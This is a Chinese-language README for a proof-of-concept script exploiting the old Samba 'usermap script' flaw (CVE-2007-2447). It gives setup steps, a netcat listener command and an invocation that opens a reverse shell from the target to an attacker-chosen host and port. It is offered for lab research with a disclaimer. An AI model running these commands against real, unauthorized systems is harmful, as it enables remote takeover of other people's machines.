PoC:Samba “usermap script” 远程命令执行(历史 CVE)。本仓库包含一个用于研究和教学审查的小型概念验证脚本。主要脚本为 usermap_script_Command_Execution.py。
参考文章:https://amriunix.com/post/cve-2007-2447-samba-usermap-script/
克隆仓库并在受控实验环境中运行脚本。该 PoC 可选择使用回连到 LHOST:LPORT 的反向 Shell——运行脚本前请先启动监听器,并确保依赖已安装(参见“安装”部分)。
git clone https://github.com/abdulsaabir/CVE-2007-2447.git
cd CVE-2007-2447
# ensure dependencies are installed (see Installation), then start a listener on your LHOST:LPORT
# example using netcat with a placeholder port:
nc -lnvp <LPORT>
# in another terminal, run the PoC against the lab target:
python3 usermap_script_Command_Execution.py <RHOST> 139 <LHOST> <LPORT>
参数
RHOST — 目标 IP 或主机名RPORT — 目标 TCP 端口(通常为 139)LHOST — 反向连接所用监听器的 IPLPORT — 监听器端口建议:在运行脚本之前先创建隔离的 Python 虚拟环境,并从 requirements.txt 安装依赖。
python3 -m venv exploit_env
source exploit_env/bin/activate
pip install -r requirements.txt
此代码仅供合法的安全研究、教学和防御性测试使用。请勿对任何你不拥有或未经明确书面授权测试的系统运行此脚本。滥用可能导致法律后果;仓库所有者不对滥用行为负责。
在分析潜在危险代码时,请始终优先采用静态代码审查和受控的实验室测试(虚拟机快照、隔离网络和数据包捕获)。
如果你需要一份不可执行的注释版分步讲解或 requirements.txt,请提交 issue 或在此提出请求。